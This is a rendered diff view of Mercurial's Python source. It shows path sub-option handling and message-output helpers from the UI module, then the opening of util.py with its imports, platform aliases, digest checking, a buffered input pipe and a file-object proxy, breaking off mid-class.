2142 | 2142 | """Decorator used to declare a path sub-option. |
|
2143 | 2143 | |
|
2144 | 2144 | Arguments are the sub-option name and the attribute it should set on |
|
2145 | 2145 | ``path`` instances. |
|
2146 | 2146 | |
|
2147 | 2147 | The decorated function will receive as arguments a ``ui`` instance, |
|
2148 | 2148 | ``path`` instance, and the string value of this option from the config. |
|
2149 | 2149 | The function should return the value that will be set on the ``path`` |
|
2150 | 2150 | instance. |
|
2151 | 2151 | |
|
2152 | 2152 | This decorator can be used to perform additional verification of |
|
2153 | 2153 | sub-options and to change the type of sub-options. |
|
2154 | 2154 | """ |
|
2155 | 2155 | |
|
2156 | 2156 | def register(func): |
|
2157 | 2157 | _pathsuboptions[option] = (attr, func) |
|
2158 | 2158 | return func |
|
2159 | 2159 | |
|
2160 | 2160 | return register |
|
2161 | 2161 | |
|
2162 | 2162 | |
|
2163 | 2163 | @pathsuboption(b'pushurl', b'pushloc') |
|
2164 | 2164 | def pushurlpathoption(ui, path, value): |
|
2165 | 2165 | u = util.url(value) |
|
2166 | 2166 | # Actually require a URL. |
|
2167 | 2167 | if not u.scheme: |
|
2168 | 2168 | ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name) |
|
2169 | 2169 | return None |
|
2170 | 2170 | |
|
2171 | 2171 | # Don't support the #foo syntax in the push URL to declare branch to |
|
2172 | 2172 | # push. |
|
2173 | 2173 | if u.fragment: |
|
2174 | 2174 | ui.warn( |
|
2175 | 2175 | _( |
|
2176 | 2176 | b'("#fragment" in paths.%s:pushurl not supported; ' |
|
2177 | 2177 | b'ignoring)\n' |
|
2178 | 2178 | ) |
|
2179 | 2179 | % path.name |
|
2180 | 2180 | ) |
|
2181 | 2181 | u.fragment = None |
|
2182 | 2182 | |
|
2183 | 2183 | return bytes(u) |
|
2184 | 2184 | |
|
2185 | 2185 | |
|
2186 | 2186 | @pathsuboption(b'pushrev', b'pushrev') |
|
2187 | 2187 | def pushrevpathoption(ui, path, value): |
|
2188 | 2188 | return value |
|
2189 | 2189 | |
|
2190 | 2190 | |
|
2191 | 2191 | class path(object): |
|
2192 | 2192 | """Represents an individual path and its configuration.""" |
|
2193 | 2193 | |
|
2194 | 2194 | def __init__(self, ui, name, rawloc=None, suboptions=None): |
|
2195 | 2195 | """Construct a path from its config options. |
|
2196 | 2196 | |
|
2197 | 2197 | ``ui`` is the ``ui`` instance the path is coming from. |
|
2198 | 2198 | ``name`` is the symbolic name of the path. |
|
2199 | 2199 | ``rawloc`` is the raw location, as defined in the config. |
|
2200 | 2200 | ``pushloc`` is the raw locations pushes should be made to. |
|
2201 | 2201 | |
|
2202 | 2202 | If ``name`` is not defined, we require that the location be a) a local |
|
2203 | 2203 | filesystem path with a .hg directory or b) a URL. If not, |
|
2204 | 2204 | ``ValueError`` is raised. |
|
2205 | 2205 | """ |
|
2206 | 2206 | if not rawloc: |
|
2207 | 2207 | raise ValueError(b'rawloc must be defined') |
|
2208 | 2208 | |
|
2209 | 2209 | # Locations may define branches via syntax <base>#<branch>. |
|
2210 | 2210 | u = util.url(rawloc) |
|
2211 | 2211 | branch = None |
|
2212 | 2212 | if u.fragment: |
|
2213 | 2213 | branch = u.fragment |
|
2214 | 2214 | u.fragment = None |
|
2215 | 2215 | |
|
2216 | 2216 | self.url = u |
|
2217 | 2217 | self.branch = branch |
|
2218 | 2218 | |
|
2219 | 2219 | self.name = name |
|
2220 | 2220 | self.rawloc = rawloc |
|
2221 | 2221 | self.loc = b'%s' % u |
|
2222 | 2222 | |
|
2223 | 2223 | # When given a raw location but not a symbolic name, validate the |
|
2224 | 2224 | # location is valid. |
|
2225 | 2225 | if not name and not u.scheme and not self._isvalidlocalpath(self.loc): |
|
2226 | 2226 | raise ValueError( |
|
2227 | 2227 | b'location is not a URL or path to a local ' |
|
2228 | 2228 | b'repo: %s' % rawloc |
|
2229 | 2229 | ) |
|
2230 | 2230 | |
|
2231 | 2231 | suboptions = suboptions or {} |
|
2232 | 2232 | |
|
2233 | 2233 | # Now process the sub-options. If a sub-option is registered, its |
|
2234 | 2234 | # attribute will always be present. The value will be None if there |
|
2235 | 2235 | # was no valid sub-option. |
|
2236 | 2236 | for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions): |
|
2237 | 2237 | if suboption not in suboptions: |
|
2238 | 2238 | setattr(self, attr, None) |
|
2239 | 2239 | continue |
|
2240 | 2240 | |
|
2241 | 2241 | value = func(ui, self, suboptions[suboption]) |
|
2242 | 2242 | setattr(self, attr, value) |
|
2243 | 2243 | |
|
2244 | 2244 | def _isvalidlocalpath(self, path): |
|
2245 | 2245 | """Returns True if the given path is a potentially valid repository. |
|
2246 | 2246 | This is its own function so that extensions can change the definition of |
|
2247 | 2247 | 'valid' in this case (like when pulling from a git repo into a hg |
|
2248 | 2248 | one).""" |
|
2249 | 2249 | try: |
|
2250 | 2250 | return os.path.isdir(os.path.join(path, b'.hg')) |
|
2251 | 2251 | # Python 2 may return TypeError. Python 3, ValueError. |
|
2252 | 2252 | except (TypeError, ValueError): |
|
2253 | 2253 | return False |
|
2254 | 2254 | |
|
2255 | 2255 | @property |
|
2256 | 2256 | def suboptions(self): |
|
2257 | 2257 | """Return sub-options and their values for this path. |
|
2258 | 2258 | |
|
2259 | 2259 | This is intended to be used for presentation purposes. |
|
2260 | 2260 | """ |
|
2261 | 2261 | d = {} |
|
2262 | 2262 | for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions): |
|
2263 | 2263 | value = getattr(self, attr) |
|
2264 | 2264 | if value is not None: |
|
2265 | 2265 | d[subopt] = value |
|
2266 | 2266 | return d |
|
2267 | 2267 | |
|
2268 | 2268 | |
|
2269 | 2269 | # we instantiate one globally shared progress bar to avoid |
|
2270 | 2270 | # competing progress bars when multiple UI objects get created |
|
2271 | 2271 | _progresssingleton = None |
|
2272 | 2272 | |
|
2273 | 2273 | |
|
2274 | 2274 | def getprogbar(ui): |
|
2275 | 2275 | global _progresssingleton |
|
2276 | 2276 | if _progresssingleton is None: |
|
2277 | 2277 | # passing 'ui' object to the singleton is fishy, |
|
2278 | 2278 | # this is how the extension used to work but feel free to rework it. |
|
2279 | 2279 | _progresssingleton = progress.progbar(ui) |
|
2280 | 2280 | return _progresssingleton |
|
2281 | 2281 | |
|
2282 | 2282 | |
|
2283 | 2283 | def haveprogbar(): |
|
2284 | 2284 | return _progresssingleton is not None |
|
2285 | 2285 | |
|
2286 | 2286 | |
|
2287 | 2287 | def _selectmsgdests(ui): |
|
2288 | 2288 | name = ui.config(b'ui', b'message-output') |
|
2289 | 2289 | if name == b'channel': |
|
2290 | 2290 | if ui.fmsg: |
|
2291 | 2291 | return ui.fmsg, ui.fmsg |
|
2292 | 2292 | else: |
|
2293 | 2293 | # fall back to ferr if channel isn't ready so that status/error |
|
2294 | 2294 | # messages can be printed |
|
2295 | 2295 | return ui.ferr, ui.ferr |
|
2296 | 2296 | if name == b'stdio': |
|
2297 | 2297 | return ui.fout, ui.ferr |
|
2298 | 2298 | if name == b'stderr': |
|
2299 | 2299 | return ui.ferr, ui.ferr |
|
2300 | 2300 | raise error.Abort(b'invalid ui.message-output destination: %s' % name) |
|
2301 | 2301 | |
|
2302 | 2302 | |
|
2303 | 2303 | def _writemsgwith(write, dest, *args, **opts): |
|
2304 | 2304 | """Write ui message with the given ui._write*() function |
|
2305 | 2305 | |
|
2306 | 2306 | The specified message type is translated to 'ui.<type>' label if the dest |
|
2307 | 2307 | isn't a structured channel, so that the message will be colorized. |
|
2308 | 2308 | """ |
|
2309 | 2309 | # TODO: maybe change 'type' to a mandatory option |
|
2310 | 2310 | if 'type' in opts and not getattr(dest, 'structured', False): |
|
2311 | 2311 | opts['label'] = opts.get('label', b'') + b' ui.%s' % opts.pop('type') |
|
2312 | 2312 | write(dest, *args, **opts) |
@@ -1,3611 +1,3611 b'' | |||
|
1 | 1 | # util.py - Mercurial utility functions and platform specific implementations |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
4 | 4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
5 | 5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
6 | 6 | # |
|
7 | 7 | # This software may be used and distributed according to the terms of the |
|
8 | 8 | # GNU General Public License version 2 or any later version. |
|
9 | 9 | |
|
10 | 10 | """Mercurial utility functions and platform specific implementations. |
|
11 | 11 | |
|
12 | 12 | This contains helper routines that are independent of the SCM core and |
|
13 | 13 | hide platform-specific details from the core. |
|
14 | 14 | """ |
|
15 | 15 | |
|
16 | 16 | from __future__ import absolute_import, print_function |
|
17 | 17 | |
|
18 | 18 | import abc |
|
19 | 19 | import collections |
|
20 | 20 | import contextlib |
|
21 | 21 | import errno |
|
22 | 22 | import gc |
|
23 | 23 | import hashlib |
|
24 | 24 | import itertools |
|
25 | 25 | import mmap |
|
26 | 26 | import os |
|
27 | 27 | import platform as pyplatform |
|
28 | 28 | import re as remod |
|
29 | 29 | import shutil |
|
30 | 30 | import socket |
|
31 | 31 | import stat |
|
32 | 32 | import sys |
|
33 | 33 | import time |
|
34 | 34 | import traceback |
|
35 | 35 | import warnings |
|
36 | 36 | |
|
37 | 37 | from .thirdparty import attr |
|
38 | 38 | from .pycompat import ( |
|
39 | 39 | delattr, |
|
40 | 40 | getattr, |
|
41 | 41 | open, |
|
42 | 42 | setattr, |
|
43 | 43 | ) |
|
44 | 44 | from hgdemandimport import tracing |
|
45 | 45 | from . import ( |
|
46 | 46 | encoding, |
|
47 | 47 | error, |
|
48 | 48 | i18n, |
|
49 | 49 | node as nodemod, |
|
50 | 50 | policy, |
|
51 | 51 | pycompat, |
|
52 | 52 | urllibcompat, |
|
53 | 53 | ) |
|
54 | 54 | from .utils import ( |
|
55 | 55 | compression, |
|
56 | 56 | procutil, |
|
57 | 57 | stringutil, |
|
58 | 58 | ) |
|
59 | 59 | |
|
60 | 60 | base85 = policy.importmod('base85') |
|
61 | 61 | osutil = policy.importmod('osutil') |
|
62 | 62 | |
|
63 | 63 | b85decode = base85.b85decode |
|
64 | 64 | b85encode = base85.b85encode |
|
65 | 65 | |
|
66 | 66 | cookielib = pycompat.cookielib |
|
67 | 67 | httplib = pycompat.httplib |
|
68 | 68 | pickle = pycompat.pickle |
|
69 | 69 | safehasattr = pycompat.safehasattr |
|
70 | 70 | socketserver = pycompat.socketserver |
|
71 | 71 | bytesio = pycompat.bytesio |
|
72 | 72 | # TODO deprecate stringio name, as it is a lie on Python 3. |
|
73 | 73 | stringio = bytesio |
|
74 | 74 | xmlrpclib = pycompat.xmlrpclib |
|
75 | 75 | |
|
76 | 76 | httpserver = urllibcompat.httpserver |
|
77 | 77 | urlerr = urllibcompat.urlerr |
|
78 | 78 | urlreq = urllibcompat.urlreq |
|
79 | 79 | |
|
80 | 80 | # workaround for win32mbcs |
|
81 | 81 | _filenamebytestr = pycompat.bytestr |
|
82 | 82 | |
|
83 | 83 | if pycompat.iswindows: |
|
84 | 84 | from . import windows as platform |
|
85 | 85 | else: |
|
86 | 86 | from . import posix as platform |
|
87 | 87 | |
|
88 | 88 | _ = i18n._ |
|
89 | 89 | |
|
90 | 90 | bindunixsocket = platform.bindunixsocket |
|
91 | 91 | cachestat = platform.cachestat |
|
92 | 92 | checkexec = platform.checkexec |
|
93 | 93 | checklink = platform.checklink |
|
94 | 94 | copymode = platform.copymode |
|
95 | 95 | expandglobs = platform.expandglobs |
|
96 | 96 | getfsmountpoint = platform.getfsmountpoint |
|
97 | 97 | getfstype = platform.getfstype |
|
98 | 98 | groupmembers = platform.groupmembers |
|
99 | 99 | groupname = platform.groupname |
|
100 | 100 | isexec = platform.isexec |
|
101 | 101 | isowner = platform.isowner |
|
102 | 102 | listdir = osutil.listdir |
|
103 | 103 | localpath = platform.localpath |
|
104 | 104 | lookupreg = platform.lookupreg |
|
105 | 105 | makedir = platform.makedir |
|
106 | 106 | nlinks = platform.nlinks |
|
107 | 107 | normpath = platform.normpath |
|
108 | 108 | normcase = platform.normcase |
|
109 | 109 | normcasespec = platform.normcasespec |
|
110 | 110 | normcasefallback = platform.normcasefallback |
|
111 | 111 | openhardlinks = platform.openhardlinks |
|
112 | 112 | oslink = platform.oslink |
|
113 | 113 | parsepatchoutput = platform.parsepatchoutput |
|
114 | 114 | pconvert = platform.pconvert |
|
115 | 115 | poll = platform.poll |
|
116 | 116 | posixfile = platform.posixfile |
|
117 | 117 | readlink = platform.readlink |
|
118 | 118 | rename = platform.rename |
|
119 | 119 | removedirs = platform.removedirs |
|
120 | 120 | samedevice = platform.samedevice |
|
121 | 121 | samefile = platform.samefile |
|
122 | 122 | samestat = platform.samestat |
|
123 | 123 | setflags = platform.setflags |
|
124 | 124 | split = platform.split |
|
125 | 125 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
|
126 | 126 | statisexec = platform.statisexec |
|
127 | 127 | statislink = platform.statislink |
|
128 | 128 | umask = platform.umask |
|
129 | 129 | unlink = platform.unlink |
|
130 | 130 | username = platform.username |
|
131 | 131 | |
|
132 | 132 | # small compat layer |
|
133 | 133 | compengines = compression.compengines |
|
134 | 134 | SERVERROLE = compression.SERVERROLE |
|
135 | 135 | CLIENTROLE = compression.CLIENTROLE |
|
136 | 136 | |
|
137 | 137 | try: |
|
138 | 138 | recvfds = osutil.recvfds |
|
139 | 139 | except AttributeError: |
|
140 | 140 | pass |
|
141 | 141 | |
|
142 | 142 | # Python compatibility |
|
143 | 143 | |
|
144 | 144 | _notset = object() |
|
145 | 145 | |
|
146 | 146 | |
|
147 | 147 | def bitsfrom(container): |
|
148 | 148 | bits = 0 |
|
149 | 149 | for bit in container: |
|
150 | 150 | bits |= bit |
|
151 | 151 | return bits |
|
152 | 152 | |
|
153 | 153 | |
|
154 | 154 | # python 2.6 still have deprecation warning enabled by default. We do not want |
|
155 | 155 | # to display anything to standard user so detect if we are running test and |
|
156 | 156 | # only use python deprecation warning in this case. |
|
157 | 157 | _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS')) |
|
158 | 158 | if _dowarn: |
|
159 | 159 | # explicitly unfilter our warning for python 2.7 |
|
160 | 160 | # |
|
161 | 161 | # The option of setting PYTHONWARNINGS in the test runner was investigated. |
|
162 | 162 | # However, module name set through PYTHONWARNINGS was exactly matched, so |
|
163 | 163 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
|
164 | 164 | # makes the whole PYTHONWARNINGS thing useless for our usecase. |
|
165 | 165 | warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial') |
|
166 | 166 | warnings.filterwarnings('default', '', DeprecationWarning, 'hgext') |
|
167 | 167 | warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd') |
|
168 | 168 | if _dowarn and pycompat.ispy3: |
|
169 | 169 | # silence warning emitted by passing user string to re.sub() |
|
170 | 170 | warnings.filterwarnings( |
|
171 | 171 | 'ignore', 'bad escape', DeprecationWarning, 'mercurial' |
|
172 | 172 | ) |
|
173 | 173 | warnings.filterwarnings( |
|
174 | 174 | 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial' |
|
175 | 175 | ) |
|
176 | 176 | # TODO: reinvent imp.is_frozen() |
|
177 | 177 | warnings.filterwarnings( |
|
178 | 178 | 'ignore', |
|
179 | 179 | 'the imp module is deprecated', |
|
180 | 180 | DeprecationWarning, |
|
181 | 181 | 'mercurial', |
|
182 | 182 | ) |
|
183 | 183 | |
|
184 | 184 | |
|
185 | 185 | def nouideprecwarn(msg, version, stacklevel=1): |
|
186 | 186 | """Issue an python native deprecation warning |
|
187 | 187 | |
|
188 | 188 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
|
189 | 189 | """ |
|
190 | 190 | if _dowarn: |
|
191 | 191 | msg += ( |
|
192 | 192 | b"\n(compatibility will be dropped after Mercurial-%s," |
|
193 | 193 | b" update your code.)" |
|
194 | 194 | ) % version |
|
195 | 195 | warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
|
196 | 196 | |
|
197 | 197 | |
|
198 | 198 | DIGESTS = { |
|
199 | 199 | b'md5': hashlib.md5, |
|
200 | 200 | b'sha1': hashlib.sha1, |
|
201 | 201 | b'sha512': hashlib.sha512, |
|
202 | 202 | } |
|
203 | 203 | # List of digest types from strongest to weakest |
|
204 | 204 | DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5'] |
|
205 | 205 | |
|
206 | 206 | for k in DIGESTS_BY_STRENGTH: |
|
207 | 207 | assert k in DIGESTS |
|
208 | 208 | |
|
209 | 209 | |
|
210 | 210 | class digester(object): |
|
211 | 211 | """helper to compute digests. |
|
212 | 212 | |
|
213 | 213 | This helper can be used to compute one or more digests given their name. |
|
214 | 214 | |
|
215 | 215 | >>> d = digester([b'md5', b'sha1']) |
|
216 | 216 | >>> d.update(b'foo') |
|
217 | 217 | >>> [k for k in sorted(d)] |
|
218 | 218 | ['md5', 'sha1'] |
|
219 | 219 | >>> d[b'md5'] |
|
220 | 220 | 'acbd18db4cc2f85cedef654fccc4a4d8' |
|
221 | 221 | >>> d[b'sha1'] |
|
222 | 222 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
|
223 | 223 | >>> digester.preferred([b'md5', b'sha1']) |
|
224 | 224 | 'sha1' |
|
225 | 225 | """ |
|
226 | 226 | |
|
227 | 227 | def __init__(self, digests, s=b''): |
|
228 | 228 | self._hashes = {} |
|
229 | 229 | for k in digests: |
|
230 | 230 | if k not in DIGESTS: |
|
231 | 231 | raise error.Abort(_(b'unknown digest type: %s') % k) |
|
232 | 232 | self._hashes[k] = DIGESTS[k]() |
|
233 | 233 | if s: |
|
234 | 234 | self.update(s) |
|
235 | 235 | |
|
236 | 236 | def update(self, data): |
|
237 | 237 | for h in self._hashes.values(): |
|
238 | 238 | h.update(data) |
|
239 | 239 | |
|
240 | 240 | def __getitem__(self, key): |
|
241 | 241 | if key not in DIGESTS: |
|
242 | 242 | raise error.Abort(_(b'unknown digest type: %s') % k) |
|
243 | 243 | return nodemod.hex(self._hashes[key].digest()) |
|
244 | 244 | |
|
245 | 245 | def __iter__(self): |
|
246 | 246 | return iter(self._hashes) |
|
247 | 247 | |
|
248 | 248 | @staticmethod |
|
249 | 249 | def preferred(supported): |
|
250 | 250 | """returns the strongest digest type in both supported and DIGESTS.""" |
|
251 | 251 | |
|
252 | 252 | for k in DIGESTS_BY_STRENGTH: |
|
253 | 253 | if k in supported: |
|
254 | 254 | return k |
|
255 | 255 | return None |
|
256 | 256 | |
|
257 | 257 | |
|
258 | 258 | class digestchecker(object): |
|
259 | 259 | """file handle wrapper that additionally checks content against a given |
|
260 | 260 | size and digests. |
|
261 | 261 | |
|
262 | 262 | d = digestchecker(fh, size, {'md5': '...'}) |
|
263 | 263 | |
|
264 | 264 | When multiple digests are given, all of them are validated. |
|
265 | 265 | """ |
|
266 | 266 | |
|
267 | 267 | def __init__(self, fh, size, digests): |
|
268 | 268 | self._fh = fh |
|
269 | 269 | self._size = size |
|
270 | 270 | self._got = 0 |
|
271 | 271 | self._digests = dict(digests) |
|
272 | 272 | self._digester = digester(self._digests.keys()) |
|
273 | 273 | |
|
274 | 274 | def read(self, length=-1): |
|
275 | 275 | content = self._fh.read(length) |
|
276 | 276 | self._digester.update(content) |
|
277 | 277 | self._got += len(content) |
|
278 | 278 | return content |
|
279 | 279 | |
|
280 | 280 | def validate(self): |
|
281 | 281 | if self._size != self._got: |
|
282 | 282 | raise error.Abort( |
|
283 | 283 | _(b'size mismatch: expected %d, got %d') |
|
284 | 284 | % (self._size, self._got) |
|
285 | 285 | ) |
|
286 | 286 | for k, v in self._digests.items(): |
|
287 | 287 | if v != self._digester[k]: |
|
288 | 288 | # i18n: first parameter is a digest name |
|
289 | 289 | raise error.Abort( |
|
290 | 290 | _(b'%s mismatch: expected %s, got %s') |
|
291 | 291 | % (k, v, self._digester[k]) |
|
292 | 292 | ) |
|
293 | 293 | |
|
294 | 294 | |
|
295 | 295 | try: |
|
296 | 296 | buffer = buffer |
|
297 | 297 | except NameError: |
|
298 | 298 | |
|
299 | 299 | def buffer(sliceable, offset=0, length=None): |
|
300 | 300 | if length is not None: |
|
301 | 301 | return memoryview(sliceable)[offset : offset + length] |
|
302 | 302 | return memoryview(sliceable)[offset:] |
|
303 | 303 | |
|
304 | 304 | |
|
305 | 305 | _chunksize = 4096 |
|
306 | 306 | |
|
307 | 307 | |
|
308 | 308 | class bufferedinputpipe(object): |
|
309 | 309 | """a manually buffered input pipe |
|
310 | 310 | |
|
311 | 311 | Python will not let us use buffered IO and lazy reading with 'polling' at |
|
312 | 312 | the same time. We cannot probe the buffer state and select will not detect |
|
313 | 313 | that data are ready to read if they are already buffered. |
|
314 | 314 | |
|
315 | 315 | This class let us work around that by implementing its own buffering |
|
316 | 316 | (allowing efficient readline) while offering a way to know if the buffer is |
|
317 | 317 | empty from the output (allowing collaboration of the buffer with polling). |
|
318 | 318 | |
|
319 | 319 | This class lives in the 'util' module because it makes use of the 'os' |
|
320 | 320 | module from the python stdlib. |
|
321 | 321 | """ |
|
322 | 322 | |
|
323 | 323 | def __new__(cls, fh): |
|
324 | 324 | # If we receive a fileobjectproxy, we need to use a variation of this |
|
325 | 325 | # class that notifies observers about activity. |
|
326 | 326 | if isinstance(fh, fileobjectproxy): |
|
327 | 327 | cls = observedbufferedinputpipe |
|
328 | 328 | |
|
329 | 329 | return super(bufferedinputpipe, cls).__new__(cls) |
|
330 | 330 | |
|
331 | 331 | def __init__(self, input): |
|
332 | 332 | self._input = input |
|
333 | 333 | self._buffer = [] |
|
334 | 334 | self._eof = False |
|
335 | 335 | self._lenbuf = 0 |
|
336 | 336 | |
|
337 | 337 | @property |
|
338 | 338 | def hasbuffer(self): |
|
339 | 339 | """True is any data is currently buffered |
|
340 | 340 | |
|
341 | 341 | This will be used externally a pre-step for polling IO. If there is |
|
342 | 342 | already data then no polling should be set in place.""" |
|
343 | 343 | return bool(self._buffer) |
|
344 | 344 | |
|
345 | 345 | @property |
|
346 | 346 | def closed(self): |
|
347 | 347 | return self._input.closed |
|
348 | 348 | |
|
349 | 349 | def fileno(self): |
|
350 | 350 | return self._input.fileno() |
|
351 | 351 | |
|
352 | 352 | def close(self): |
|
353 | 353 | return self._input.close() |
|
354 | 354 | |
|
355 | 355 | def read(self, size): |
|
356 | 356 | while (not self._eof) and (self._lenbuf < size): |
|
357 | 357 | self._fillbuffer() |
|
358 | 358 | return self._frombuffer(size) |
|
359 | 359 | |
|
360 | 360 | def unbufferedread(self, size): |
|
361 | 361 | if not self._eof and self._lenbuf == 0: |
|
362 | 362 | self._fillbuffer(max(size, _chunksize)) |
|
363 | 363 | return self._frombuffer(min(self._lenbuf, size)) |
|
364 | 364 | |
|
365 | 365 | def readline(self, *args, **kwargs): |
|
366 | 366 | if len(self._buffer) > 1: |
|
367 | 367 | # this should not happen because both read and readline end with a |
|
368 | 368 | # _frombuffer call that collapse it. |
|
369 | 369 | self._buffer = [b''.join(self._buffer)] |
|
370 | 370 | self._lenbuf = len(self._buffer[0]) |
|
371 | 371 | lfi = -1 |
|
372 | 372 | if self._buffer: |
|
373 | 373 | lfi = self._buffer[-1].find(b'\n') |
|
374 | 374 | while (not self._eof) and lfi < 0: |
|
375 | 375 | self._fillbuffer() |
|
376 | 376 | if self._buffer: |
|
377 | 377 | lfi = self._buffer[-1].find(b'\n') |
|
378 | 378 | size = lfi + 1 |
|
379 | 379 | if lfi < 0: # end of file |
|
380 | 380 | size = self._lenbuf |
|
381 | 381 | elif len(self._buffer) > 1: |
|
382 | 382 | # we need to take previous chunks into account |
|
383 | 383 | size += self._lenbuf - len(self._buffer[-1]) |
|
384 | 384 | return self._frombuffer(size) |
|
385 | 385 | |
|
386 | 386 | def _frombuffer(self, size): |
|
387 | 387 | """return at most 'size' data from the buffer |
|
388 | 388 | |
|
389 | 389 | The data are removed from the buffer.""" |
|
390 | 390 | if size == 0 or not self._buffer: |
|
391 | 391 | return b'' |
|
392 | 392 | buf = self._buffer[0] |
|
393 | 393 | if len(self._buffer) > 1: |
|
394 | 394 | buf = b''.join(self._buffer) |
|
395 | 395 | |
|
396 | 396 | data = buf[:size] |
|
397 | 397 | buf = buf[len(data) :] |
|
398 | 398 | if buf: |
|
399 | 399 | self._buffer = [buf] |
|
400 | 400 | self._lenbuf = len(buf) |
|
401 | 401 | else: |
|
402 | 402 | self._buffer = [] |
|
403 | 403 | self._lenbuf = 0 |
|
404 | 404 | return data |
|
405 | 405 | |
|
406 | 406 | def _fillbuffer(self, size=_chunksize): |
|
407 | 407 | """read data to the buffer""" |
|
408 | 408 | data = os.read(self._input.fileno(), size) |
|
409 | 409 | if not data: |
|
410 | 410 | self._eof = True |
|
411 | 411 | else: |
|
412 | 412 | self._lenbuf += len(data) |
|
413 | 413 | self._buffer.append(data) |
|
414 | 414 | |
|
415 | 415 | return data |
|
416 | 416 | |
|
417 | 417 | |
|
418 | 418 | def mmapread(fp): |
|
419 | 419 | try: |
|
420 | 420 | fd = getattr(fp, 'fileno', lambda: fp)() |
|
421 | 421 | return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
|
422 | 422 | except ValueError: |
|
423 | 423 | # Empty files cannot be mmapped, but mmapread should still work. Check |
|
424 | 424 | # if the file is empty, and if so, return an empty buffer. |
|
425 | 425 | if os.fstat(fd).st_size == 0: |
|
426 | 426 | return b'' |
|
427 | 427 | raise |
|
428 | 428 | |
|
429 | 429 | |
|
430 | 430 | class fileobjectproxy(object): |
|
431 | 431 | """A proxy around file objects that tells a watcher when events occur. |
|
432 | 432 | |
|
433 | 433 | This type is intended to only be used for testing purposes. Think hard |
|
434 | 434 | before using it in important code. |
|
435 | 435 | """ |
|
436 | 436 | |
|
437 | 437 | __slots__ = ( |
|
438 | 438 | '_orig', |
|
439 | 439 | '_observer', |
|
440 | 440 | ) |
|
441 | 441 | |
|
442 | 442 | def __init__(self, fh, observer): |
|
443 | 443 | object.__setattr__(self, '_orig', fh) |
|
444 | 444 | object.__setattr__(self, '_observer', observer) |
|
445 | 445 | |
|
446 | 446 | def __getattribute__(self, name): |
|
447 | 447 | ours = { |
|
448 | 448 | '_observer', |
|
449 | 449 | # IOBase |
|
450 | 450 | 'close', |
|
451 | 451 | # closed if a property |
|
452 | 452 | 'fileno', |
|
453 | 453 | 'flush', |
|
454 | 454 | 'isatty', |
|
455 | 455 | 'readable', |
|
456 | 456 | 'readline', |
|
457 | 457 | 'readlines', |
|
458 | 458 | 'seek', |
|
459 | 459 | 'seekable', |
|
460 | 460 | 'tell', |
|
461 | 461 | 'truncate', |
|
462 | 462 | 'writable', |
|
463 | 463 | 'writelines', |
|
464 | 464 | # RawIOBase |
|
465 | 465 | 'read', |
|
466 | 466 | 'readall', |
|
467 | 467 | 'readinto', |
|
468 | 468 | 'write', |
|
469 | 469 | # BufferedIOBase |
|
470 | 470 | # raw is a property |
|
471 | 471 | 'detach', |
|
472 | 472 | # read defined above |
|
473 | 473 | 'read1', |
|
474 | 474 | # readinto defined above |
|
475 | 475 | # write defined above |
|
476 | 476 | } |
|
477 | 477 | |
|
478 | 478 | # We only observe some methods. |
|
479 | 479 | if name in ours: |
|
480 | 480 | return object.__getattribute__(self, name) |
|
481 | 481 | |
|
482 | 482 | return getattr(object.__getattribute__(self, '_orig'), name) |
|
483 | 483 | |
|
484 | 484 | def __nonzero__(self): |
|
485 | 485 | return bool(object.__getattribute__(self, '_orig')) |
|
486 | 486 | |
|
487 | 487 | __bool__ = __nonzero__ |
|
488 | 488 | |
|
489 | 489 | def __delattr__(self, name): |
|
490 | 490 | return delattr(object.__getattribute__(self, '_orig'), name) |
|
491 | 491 | |
|
492 | 492 | def __setattr__(self, name, value): |
|
493 | 493 | return setattr(object.__getattribute__(self, '_orig'), name, value) |
|
494 | 494 | |
|
495 | 495 | def __iter__(self): |
|
496 | 496 | return object.__getattribute__(self, '_orig').__iter__() |
|
497 | 497 | |
|
498 | 498 | def _observedcall(self, name, *args, **kwargs): |
|
499 | 499 | # Call the original object. |
|
500 | 500 | orig = object.__getattribute__(self, '_orig') |
|
501 | 501 | res = getattr(orig, name)(*args, **kwargs) |
|
502 | 502 | |
|
503 | 503 | # Call a method on the observer of the same name with arguments |
|
504 | 504 | # so it can react, log, etc. |
|
505 | 505 | observer = object.__getattribute__(self, '_observer') |
|
506 | 506 | fn = getattr(observer, name, None) |
|
507 | 507 | if fn: |
|
508 | 508 | fn(res, *args, **kwargs) |
|
509 | 509 | |
|
510 | 510 | return res |
|
511 | 511 | |
|
512 | 512 | def close(self, *args, **kwargs): |
|
513 | 513 | return object.__getattribute__(self, '_observedcall')( |
|
514 | 514 | 'close', *args, **kwargs |
|
515 | 515 | ) |
|
516 | 516 | |
|
517 | 517 | def fileno(self, *args, **kwargs): |
|
518 | 518 | return object.__getattribute__(self, '_observedcall')( |
|
519 | 519 | 'fileno', *args, **kwargs |
|
520 | 520 | ) |
|
521 | 521 | |
|
522 | 522 | def flush(self, *args, **kwargs): |
|
523 | 523 | return object.__getattribute__(self, '_observedcall')( |
|
524 | 524 | 'flush', *args, **kwargs |
|
525 | 525 | ) |
|
526 | 526 | |
|
527 | 527 | def isatty(self, *args, **kwargs): |
|
528 | 528 | return object.__getattribute__(self, '_observedcall')( |
|
529 | 529 | 'isatty', *args, **kwargs |
|
530 | 530 | ) |
|
531 | 531 | |
|
532 | 532 | def readable(self, *args, **kwargs): |
|
533 | 533 | return object.__getattribute__(self, '_observedcall')( |
|
534 | 534 | 'readable', *args, **kwargs |
|
535 | 535 | ) |
|
536 | 536 | |
|
537 | 537 | def readline(self, *args, **kwargs): |
|
538 | 538 | return object.__getattribute__(self, '_observedcall')( |
